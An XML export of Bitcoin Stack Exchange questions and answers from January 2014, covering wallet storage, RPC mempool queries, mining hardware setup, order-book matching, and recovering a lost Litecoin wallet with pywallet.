  <row Id="20733" PostTypeId="2" ParentId="20731" CreationDate="2014-01-17T16:55:41.600" Score="2" Body="&lt;p&gt;Nobody really knows how it's implemented, other than the developers of the site, but I doubt they keep a single wallet.dat file. They don't store the keys of each address so it could very well be that they don't even use bitcoind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They could use their own implementation which would allow for better concurrency since they have lots of users accessing their wallets at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can build a bitcoin wallet however you'd like. It doesn't have to be a &lt;code&gt;wallet.dat&lt;/code&gt; file. You could even put the information of the transactions in a basic MySQL database (which is good at concurrency) and have something like PHP process and send out the transaction, and you'd have a wallet represented within a MySQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, I'm sure of course they do have proper backup routines of their database, just like any other website.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-17T17:01:06.323" LastActivityDate="2014-01-17T17:01:06.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20734" PostTypeId="2" ParentId="18812" CreationDate="2014-01-17T17:06:48.857" Score="0" Body="&lt;p&gt;I like the concept of Transaction Processing. &quot;Miners&quot; process the transactions on the bitcoin network. &quot;Miners&quot; move the funds on the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction Processing involves making random guesses to solving a mathematical problem. Why? The time delay created by the difficult mathematical problem eliminates double spends. This is the brilliance of bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2014-01-17T17:06:48.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20736" PostTypeId="2" ParentId="20720" CreationDate="2014-01-17T17:50:59.910" Score="16" Body="&lt;p&gt;The RPC interface includes the &lt;code&gt;getrawmempool&lt;/code&gt; command which returns transactions in your memory pool. Transactions stay in your memory pool until they're confirmed, so this is effetively a list your known unconfirmed transacions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;getrawmempool&lt;/code&gt; returns only a list of transaction ids, you'll have to &lt;code&gt;getrawtransaction &amp;lt;txid&amp;gt;&lt;/code&gt; for each transaction id in your memory pool. Remember you can get JSON-formmated output via &lt;code&gt;getrawtransaction &amp;lt;txid&amp;gt; 1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-17T17:50:59.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20737" PostTypeId="2" ParentId="20709" CreationDate="2014-01-17T18:02:47.720" Score="0" Body="&lt;p&gt;As far as I know there's no built-in functionality in Bitcoin to check signatures in each input independently. Either all signatures are correct (so it shows &lt;code&gt;{complete: true}&lt;/code&gt;) or there's at least one unsigned/invalid/input values don't add up to output values (so it shows &lt;code&gt;{complete: false}&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The procedure will go as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Retrieve the referenced output &lt;code&gt;{txid, vout}&lt;/code&gt; from the UTXO set or retrieving &lt;code&gt;txid&lt;/code&gt; and only getting the appropriate output.&lt;/li&gt;&#xA;&lt;li&gt;Check the &lt;code&gt;value&lt;/code&gt; is what you expect (if you care about the value at all) and get the &lt;code&gt;scriptPubKey&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Run the current-input &lt;code&gt;scriptSig&lt;/code&gt; and then, with the resulting stack, the previous-output &lt;code&gt;scriptPubKey&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the resulting stack top is not zero (i.e, is &lt;code&gt;TRUE&lt;/code&gt;) then the input is correctly signed.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-17T18:02:47.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20738" PostTypeId="2" ParentId="20024" CreationDate="2014-01-17T18:25:40.957" Score="0" Body="&lt;p&gt;Bitfury and Nanofury devices are completely different.&#xA;You are describing a NanoFury.&#xA;In windows NanoFury devices autodetect, and it works using the autodetected driver.&#xA;It will NOT work using the BitFury driver as suggested above.&#xA;What I did is I deleted the pushed in BitFur driver that I tried first using zadig.&#xA;I then rebooted and reinserted the device and accepted the default windows driver.&#xA;Then I used this command with BFGminer 3.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bfgminer.exe -o 192.168.101.1:8332 -u YourUsername -p YouPassword --coinbase-addr YourBitcoinAddress -S all &lt;strong&gt;--set-device NFY:osc6_bits=54&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this it worked fine.  I get 2.54 GH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is normal to see these errors with the NanoFury in Windows:&#xA;NFY 0: Frequency drop over 50% detected, reinitialising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was getting these errors but still earning bitcoins.&#xA;They come about every minute or so, unless you pool mine, then about every 15 minutes.&lt;/p&gt;&#xA;" OwnerUserId="12350" LastActivityDate="2014-01-17T18:25:40.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20739" PostTypeId="1" CreationDate="2014-01-18T00:34:28.973" Score="1" ViewCount="2510" Body="&lt;p&gt;Running Ubuntu 13.10. When I hook up the card to a monitor through HDMI, cgminer detects the card. When I unplug the HDMI cable from the monitor, the system throws a blank screen. I can ssh in from another computer, but when I run cgminer, cgminer tells me that the card isn't detected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;clDevicesNum returned error, no GPUs usable&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;0 GPU devices max detected&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From various online forums, people have stated that dummy plugs won't work on the R9 290x because this card has only digital inputs (AMD got rid of analog), so the resistor trick won't work here even with DVI-VGA passive adapters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, people have said that with newer cards like mine, dummy plugs aren't necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference I see is that I'm using ubuntu while the people in the forums were using Windows 7 or 8. However, I'm using Catalyst 13.12, so I should be good?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="12355" LastEditorUserId="2306" LastEditDate="2016-02-05T17:40:15.413" LastActivityDate="2016-02-05T17:40:15.413" Title="Help - Running R9 290x graphics card headless in Linux" Tags="|litecoin|ubuntu|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20740" PostTypeId="1" AcceptedAnswerId="20773" CreationDate="2014-01-18T03:20:47.803" Score="1" ViewCount="851" Body="&lt;p&gt;Is there any risk in sharing my BTCGuild API key with someone else?  I want them to be able to see my hashing rate but I want to make sure it's not a bad idea or unsafe in anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example using this made up API key:&#xA;&lt;a href=&quot;https://www.btcguild.com/api.php?api_key=a291130c92da4c27f4f2f69b89f63652&quot; rel=&quot;nofollow&quot;&gt;https://www.btcguild.com/api.php?api_key=a291130c92da4c27f4f2f69b89f63652&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="5406" LastEditDate="2016-04-25T20:56:10.220" LastActivityDate="2016-04-25T20:56:10.220" Title="Is it safe to share my BTCGuild API key?" Tags="|mining-pools|btcguild|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20742" PostTypeId="1" CreationDate="2014-01-18T03:59:41.507" Score="0" ViewCount="415" Body="&lt;p&gt;i'm running a huge bunch of block erupter on my old computer, and the cpu time is too high to add more usb dongle miners, so i wonder if cgminer is recalculating the insufficient diff nonces and wasted my precious cpu time on my old computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone familiar with cgminer of bfgminer could help me with this 'stupid' question, thanks.&lt;/p&gt;&#xA;" OwnerUserId="6107" LastEditorUserId="5406" LastEditDate="2016-04-25T20:55:41.123" LastActivityDate="2016-04-25T20:55:41.123" Title="does cgminer re-calculate every nonce from ASIC?" Tags="|cgminer|mining-setup|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20744" PostTypeId="1" CreationDate="2014-01-18T07:07:08.447" Score="-4" ViewCount="206" Body="&lt;p&gt;With the advent of a service like coingen.io, there's going to be A LOT of altcoins flooding the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once a coin name has been created is there anything stopping another coin being created with the exact same name?&lt;/p&gt;&#xA;" OwnerUserId="12367" LastActivityDate="2014-01-19T04:06:48.470" Title="Once a coin name has been created is there anything stopping another coin being created with the exact same name?" Tags="|altcoin|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-26T16:26:28.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="20745" PostTypeId="1" CreationDate="2014-01-18T07:29:33.610" Score="2" ViewCount="2755" Body="&lt;p&gt;There's BTC, and everything else.  But how are the call letters registered and is there a comprehensive list of them all?&lt;/p&gt;&#xA;" OwnerUserId="12367" LastEditorUserId="132" LastEditDate="2014-01-19T11:46:06.283" LastActivityDate="2017-07-05T18:02:40.577" Title="Where can one find the listing of the 3-call letters for all of the altcoins?" Tags="|altcoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20746" PostTypeId="2" ParentId="20306" CreationDate="2014-01-18T08:26:40.040" Score="1" Body="&lt;p&gt;Let's start with the exchange rate. Any exchange, be it for stocks, real currencies or decentralized peer-to-peer virtual crypto currencies, naturally generates an exchange rate simply from its normal operation. After all, it allows customers to trade, and the price at which trades were last executed is then called the exchange rate on that exchange. So they don't get that data from anywhere, they generate it (not arbitrarily, of course, but according to how their customers place orders and how trades result from matching orders).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the other quantities you mentioned (which, if I may, I'd like to explain and correct to difficulty of mining blocks, total number of already mined blocks, reward for mining a new block) are specific to each crypto currency. You have to extract them from a client for the specific crypto currency, and the typical approach is to run such a client and use its (local) API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is how to write your own API. I suppose that means you want to run a website that offers a public API for querying the kind of data you mentioned. A natural approach would be to simply translate the calls for the data inherent to each currency (difficulty, blocks, rewards in your list) to a client you run for that currency. You may want to cache the results for some brief time if you anticipate high usage of your public API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange rates on different exchanges are more tricky, because the only authoritative source for an exchange's exchange rate is the exchange itself. You will have to find their API and use that. Also, here it would be a bad idea to just forward queries made to your public API. Instead, you should record the exchange rates and answer queries to your public API from this stored data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a chance that many exchanges can still be accessed using only one kind of API convention. Have a look at what &lt;a href=&quot;http://bitcoincharts.com/about/exchanges/&quot; rel=&quot;nofollow&quot;&gt;API the site bitcoincharts.com requires exchanges to provide&lt;/a&gt;. Presumably at least all the exchanges listed there provide it, and probably accept queries from anybody, not just from bitcoincharts.com.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-02-15T20:29:50.487" LastActivityDate="2014-02-15T20:29:50.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20747" PostTypeId="2" ParentId="20591" CreationDate="2014-01-18T10:26:20.987" Score="2" Body="&lt;p&gt;The network will only forward transactions that are valid. That is they only claim so far unclaimed outputs and contain all the necessary signature scripts. Your transaction does not contain valid signature scripts, hence it's not valid and will be dropped by the nodes in the network.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-01-18T10:26:20.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20748" PostTypeId="2" ParentId="19397" CreationDate="2014-01-18T11:01:57.240" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;sell to btc/ltc move to coinbase, withdraw.... &lt;/li&gt;&#xA;&lt;li&gt;coinbase can do instant confirm/same-day ach&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9128" LastActivityDate="2014-01-18T11:01:57.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20749" PostTypeId="1" AcceptedAnswerId="21082" CreationDate="2014-01-18T12:13:01.037" Score="3" ViewCount="441" Body="&lt;p&gt;This isn't a question about kickstarter really, just a way for me to phrase my question about the crypto in terms that I can understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding, based on this article.. &lt;a href=&quot;http://elidourado.com/blog/bitcoin-arbitration&quot; rel=&quot;nofollow&quot;&gt;Stop Saying Bitcoin Transactions Aren’t Reversible&lt;/a&gt; is that multi-signature transactions would make something like a bitcoin KickStarter particularly easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the kickstarter-like bitcoin service would act as a third party to many contracts transferring btc to the second party? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this has already been done? Hmm &lt;a href=&quot;https://twitter.com/BitcoinStarter&quot; rel=&quot;nofollow&quot;&gt;@coinstarter&lt;/a&gt;.. Yay! Great to see but doesn't really answer my question about how the crypto works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things easier I'll call the people that pledge to the campaign the 'first parties' and the recipients of the funds the 'second party'. Could multi-party signatures to ensure the second party only receives btc after the projects are funded? and at the same time be sure that the third party (eg coinstarter) technically &lt;em&gt;can't&lt;/em&gt; abscond with the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - and this is my real question - in such a case what state are the bitcoins in prior to the project being funded. That is, are they marked in the blockchain and thus impossible for first parties to 'double spend' btc they have pledged to a campaign or are they actually not in escrow so if a first party spends them on something else in the meantime (after pledging, before the project is funded) the transaction just fails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much in advance, hope this question makes sense, crypto wise.&lt;/p&gt;&#xA;" OwnerUserId="12371" LastEditorUserId="12371" LastEditDate="2014-01-18T12:20:12.987" LastActivityDate="2014-01-24T18:47:42.903" Title="Do multi-signature transactions make a 'bitcoin kickstarter' possible? And what state are the bitcoins in, in the meantime?" Tags="|currencies|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20750" PostTypeId="1" AcceptedAnswerId="20757" CreationDate="2014-01-18T12:54:35.273" Score="2" ViewCount="2282" Body="&lt;p&gt;Theoretically speaking, if I know programming (C,C++,C# etc.) can I write my own mining pool software/server using only Bitcoin API or I need more information than that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7362" LastEditorUserId="5406" LastEditDate="2016-04-25T20:54:47.943" LastActivityDate="2016-04-25T20:54:47.943" Title="Can I write my own pool software by using bitcoin API?" Tags="|mining-pools|client|api|mining-software|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20751" PostTypeId="2" ParentId="20667" CreationDate="2014-01-18T13:36:09.227" Score="0" Body="&lt;p&gt;I contacted the reporter, via Twitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They commented that &quot;I believe it's in regional NSW, just checking for you&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the research before asking the question I found one manufacture's blog post that said they had an order for Nimbin (Far North Coast).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reporter has not yet got back to me with further information.&lt;/p&gt;&#xA;" OwnerUserId="5081" LastActivityDate="2014-01-18T13:36:09.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20752" PostTypeId="1" AcceptedAnswerId="20759" CreationDate="2014-01-18T13:49:13.593" Score="10" ViewCount="20612" Body="&lt;p&gt;How does buying and selling bitcoins work once the order is placed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just know that the order-matching engine is used for this purpose, but more information regarding this will be helpful.&lt;/p&gt;&#xA;" OwnerUserId="12063" LastEditorUserId="5406" LastEditDate="2015-05-13T09:14:57.063" LastActivityDate="2018-03-11T14:55:47.590" Title="How do buy and sell orders work?" Tags="|exchanges|trading|exchange-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20753" PostTypeId="1" AcceptedAnswerId="20766" CreationDate="2014-01-18T14:18:33.070" Score="0" ViewCount="915" Body="&lt;p&gt;I started mining today, and I'm using the bitcoin GUI miner, along with rpc2013-cuda. I'm running algorithms on the CPU(completely maxed out - It's a core i7 quad-core/Hyperthreaded at 2.3GHz) and the GPU(98% Load - GT 650M at 1GHz Core/ 2GHz Memory don't Know the shader speed. I think it is the same as core) and got no share of bitcoins so far.&#xA;How much do you guys think that i'll be able to get a fraction of a bitcoin. I say fraction because I'm mining in a pool. That is Eligius. Should I start to mine in another pool? Maybe forget about CPU/GPU mining and try to buys a FPGA or dedicated miner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit 1: On total I'm having a hashRate of 40MHash/s&lt;/p&gt;&#xA;" OwnerUserId="12372" LastEditorUserId="5406" LastEditDate="2016-03-14T17:09:01.210" LastActivityDate="2016-03-14T17:09:01.210" Title="How long to earn fractions of bitcoin" Tags="|mining-profitability|gpu|cpu|" AnswerCount="2" CommentCount="0" ClosedDate="2015-11-07T18:17:54.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="20754" PostTypeId="2" ParentId="20753" CreationDate="2014-01-18T14:40:54.577" Score="1" Body="&lt;p&gt;It depends by the machine, of course, but keep in mind that difficulty changes as time goes on. You should look at that specific index in order to aknowledge it correctly. By now, it takes about 1 year to get 1 BTC with your hardware, supposing no difficulty increases. I do advise you to mine other currencies (BTB or others) and then convert them into BTC... that's easier this way! &lt;/p&gt;&#xA;" OwnerUserId="12373" LastActivityDate="2014-01-18T14:40:54.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20757" PostTypeId="2" ParentId="20750" CreationDate="2014-01-18T14:48:08.527" Score="3" Body="&lt;p&gt;You can, of course! But you may start from some existing programs that do what you say, most are open source and well documented. And ask someone, it's very hard to do it on your own!&lt;/p&gt;&#xA;" OwnerUserId="12373" LastActivityDate="2014-01-18T14:48:08.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20759" PostTypeId="2" ParentId="20752" CreationDate="2014-01-18T16:30:02.877" Score="12" Body="&lt;p&gt;New offers and orders are matched respectively with the best order and offer available until they are fulfilled. If there is more than one entry at the same price, the oldest entry will be matched first. If a new entry cannot be matched completely, it will remain in the order book until the remainder is matched or it expires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See an example below:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The initial order book&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Offers&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Bob] sell 1 BTC at $1000&#xA;[Charlie] sell 2 BTC at $1001, [Dolph] sell 1 BTC at $1001&#xA;[Emilio] sell 1 BTC at $1002&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Orders&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Fabienne] buy 1 BTC at $999&#xA;[George] buy 1 BTC at $998&#xA;[Harry] buy 1 BTC at $996, [Ivan] buy 5 BTC at $996&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Alice wants to buy some Bitcoins.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alice wants to buy 2 BTC and is willing to pay up to $2020. She adds an &lt;strong&gt;order&lt;/strong&gt; for 2 BTC at $1010. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system will now try to match her order to offers already in the system, of course matching the best offer first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As seen above, Bob is offering to sell at $1000 and Charlie offers to sell at $1001, her order matches with Bob's offer using it up completely. Her order has a second BTC though, which will be matched against Charlie's offer next, because Charlie entered his offer before Dolph, who is offering the same price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After Alice's order was matched there are the following &lt;strong&gt;offers&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Charlie] sell 1 BTC at $1001, [Dolph] sell 1 BTC at $1001&#xA;[Emilio] sell 1 BTC at $1002&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the following &lt;strong&gt;orders&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Fabienne] buy 1 BTC at $999&#xA;[George] buy 1 BTC at $998&#xA;[Harry] buy 1 BTC at $996, [Ivan] buy 5 BTC at $996&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that Alice's order and Bob's offer are gone, and Charlie's offer is reduced by 1 BTC.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Afterwards, Jeremy wants to sell some Bitcoins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now Jeremy wants $9,970 and has 10 BTC for sale. He creates an offer for 10 BTC at $997. Currently there are only two orders that will buy at or over that price: His offer matches the orders of Fabienne and George. He gains $999 and $998 for two of his BTC, the remaining 8 BTC will stay as an offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After Jeremy's offer was partially matched there are the following &lt;strong&gt;offers&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Jeremy] sell 8 BTC at $997&#xA;[Charlie] sell 1 BTC at $1001, [Dolph] sell 1 BTC at $1001&#xA;[Emilio] sell 1 BTC at $1002&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the following &lt;strong&gt;orders&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Harry] buy 1 BTC at $996, [Ivan] buy 5 BTC at $996&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-18T16:39:49.403" LastActivityDate="2014-01-18T16:39:49.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20761" PostTypeId="1" CreationDate="2014-01-18T18:17:03.080" Score="4" ViewCount="4404" Body="&lt;p&gt;My wallet disappeared over a year ago with 200+ LTC in it, possibly due to me running CCleaner for Mac over my machine (which looks for and deletes .dat files as part of its sweep as far as i can tell). I have made several attempts to locate my wallet including using Photorec and dumping the existing wallet.dat, but to no avail. I am going for one last chance attempt to recover it before giving up and moving on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attempting to use &lt;code&gt;pywallet&lt;/code&gt; to recover the wallet from my machine by issuing the following,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo ./pywallet.py --datadir=/Users/patrickquinn/Library/Application\ Support/Litecoin/ --recover --recov_size 121.3Gio --recov_device /dev/disk0 --recov_outputdir /Users/patrickquinn/Desktop/Looking --otherversion=48&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which returned &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Read 121.3 Go in 58.5 minutes&#xA;&#xA;Found 0 possible wallets&#xA;Found 0 possible encrypted keys&#xA;Found 1640 possible unencrypted keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and left two files, &lt;code&gt;recovered_wallet_1388812907.dat&lt;/code&gt; and &lt;code&gt;pywallet_partial_recovery_1388812907.dat&lt;/code&gt; in the specified 'Looking' directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can these unencrypted keys be recovered or am I snookered?&lt;/p&gt;&#xA;" OwnerUserId="12381" LastEditorUserId="5406" LastEditDate="2014-06-17T21:36:29.683" LastActivityDate="2015-02-12T18:51:38.590" Title="Recovering Bitcoin / Litcoin wallet with partial PyWallet recovery" Tags="|litecoin|wallet-recovery|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20762" PostTypeId="2" ParentId="20698" CreationDate="2014-01-18T18:24:16.307" Score="1" Body="&lt;p&gt;To complement Steven's answer, Trezor can be used in PoS, it would just require them to run a Bitcoin wallet which they most likely already do!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Trezor wallet give them your public key, then the PoS creates the transaction and send it back to your Trezor for signing. After verifying the output address &amp;amp; amount and entering your pin on the Trezor it will sign the transaction and send it back to the PoS who will be able to advertise it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Trezor works with USB, but in future versions it could certainly use other communications methods like NFC or BLE... Also since the software is open-source it calls for other hardware wallets to use the same wire protocol and make it a de facto standard for PoS transactions involving hardware wallets.&lt;/p&gt;&#xA;" OwnerUserId="11802" LastEditorUserId="11802" LastEditDate="2015-03-13T16:13:51.450" LastActivityDate="2015-03-13T16:13:51.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20765" PostTypeId="2" ParentId="20739" CreationDate="2014-01-18T21:19:44.697" Score="1" Body="&lt;p&gt;I had the same issue with my R290 cards and was able to have them work after initialiazing xinit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an xinit file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo vi /etc/init.d/xinit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put inside:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;# standard functions library&#xA;. /lib/lsb/init-functions&#xA;# Start the xinit&#xA;start() {&#xA;        # Start xinit on background and redirect stdout and stderr to log file&#xA;        echo &quot;Starting xinit&quot;&#xA;        xinit &amp;amp;&amp;gt; /var/log/xinit.log &amp;amp;&#xA;}&#xA;# Restart the xinit&#xA;stop() {&#xA;        echo &quot;Stopping xinit&quot;&#xA;        killall xinit&#xA;}&#xA;### main logic ###&#xA;case &quot;$1&quot; in&#xA;  start)&#xA;        start&#xA;        ;;&#xA;  stop)&#xA;        stop&#xA;        ;;&#xA;  status)&#xA;        status xinit&#xA;        ;;&#xA;  restart|reload|condrestart)&#xA;        stop&#xA;        start&#xA;        ;;&#xA;  *)&#xA;        echo $&quot;Usage: $0 {start|stop|restart|reload|status}&quot;&#xA;        exit 1&#xA;esac&#xA;exit 0&#xA;# end of file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ESC :wq  ==&gt; to save and quit vi editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make this script executable and set it up for automatic startup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chmod +x /etc/init.d/xinit &#xA;sudo update-rc.d xinit defaults 90&#xA;&#xA;export DISPLAY=:0&#xA;echo export DISPLAY=:0 &amp;gt;&amp;gt; ~/.bashrc&#xA;&#xA;sudo reboot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It worked for me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC: 1KsRn32jBwA21fLyVMdVWdGLxAa3vo82Zy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LTC: LQC2cfKFNri8AHeME6QQqVeB4BD6tQEdDE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. xinit setup taken from &lt;a href=&quot;http://infi.wikidot.com/blog:1&quot; rel=&quot;nofollow&quot;&gt;http://infi.wikidot.com/blog:1&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="12387" LastActivityDate="2014-01-18T21:19:44.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20766" PostTypeId="2" ParentId="20753" CreationDate="2014-01-18T21:51:41.980" Score="0" Body="&lt;p&gt;At the current difficulty, it would take you about 100 years to earn Eligius' minimum payout of .04 BTC. Of course, in that time period the difficulty would increase and the block reward would drop. So you would almost certainly never earn the minimum payout at that hash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, your electricity cost would be many times the value of the Bitcoins you would mine. By my rough math, you're wasting about $10/month, if the computer would otherwise be off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It hasn't made any sense to mine Bitcoins with a CPU in more than a year now.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-18T21:51:41.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20767" PostTypeId="1" AcceptedAnswerId="20771" CreationDate="2014-01-18T23:17:42.500" Score="0" ViewCount="791" Body="&lt;p&gt;What is the best way for me to go about writing a new Bitcoin wallet application? Is piggybacking off API's like blockchain.info or coinbase a good tactic? Would the application then be OK to distribute (are said services open source?). Are there alternatives? Can I run my own Bitcoin server and write my own API to go with it instead? What would the steps be involved in that? Would your average punter trust a (legitimate!) wallet that I create or would they feel safer using an app that is built upon a renowned service? &lt;/p&gt;&#xA;" OwnerUserId="12391" LastEditorUserId="132" LastEditDate="2014-01-19T11:23:34.963" LastActivityDate="2018-02-22T17:11:45.450" Title="Write an android application" Tags="|bitcoind|api|blockchain.info|android|blockchain-wallet-app|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
